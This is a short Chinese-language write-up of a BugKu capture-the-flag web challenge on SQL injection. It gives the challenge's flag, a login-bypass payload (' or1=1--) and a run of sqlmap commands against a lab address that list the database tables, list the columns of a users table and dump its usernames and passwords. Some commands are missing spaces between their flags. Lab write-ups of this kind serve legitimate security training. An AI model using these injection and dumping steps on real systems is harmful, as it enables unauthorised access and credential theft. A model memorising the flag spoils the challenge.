BugKu web 之 Simple SQL injection

' or1=1--

密码任意都可以，账号使用万能密码。

Flag: flag{95f2ab52fc27f73b4c6cf416082c2034}

但是不走捷径，该怎么做呢？

显示登录失败。

提示：尝试分析新闻详情页的URL参数

随便点击一篇新闻，然后用sqlmap进行爆破。

python sqlmap.py http://171.80.2.169:19019/article?id=1--batch

SQLite 无「数据库」概念（只有单个文件），直接枚举所有表。

python sqlmap.py -u"http://171.80.2.169:19019/article?id=1"--batch --tables

枚举 users 表的所有字段

python sqlmap.py -u"http://171.80.2.169:19019/article?id=1"--batch -Tusers--columns

直接提取 users 表中 username 和 password 字段的所有数据

python sqlmap.py -u"http://171.80.2.169:19019/article?id=1"--batch -Tusers-C username,password --dump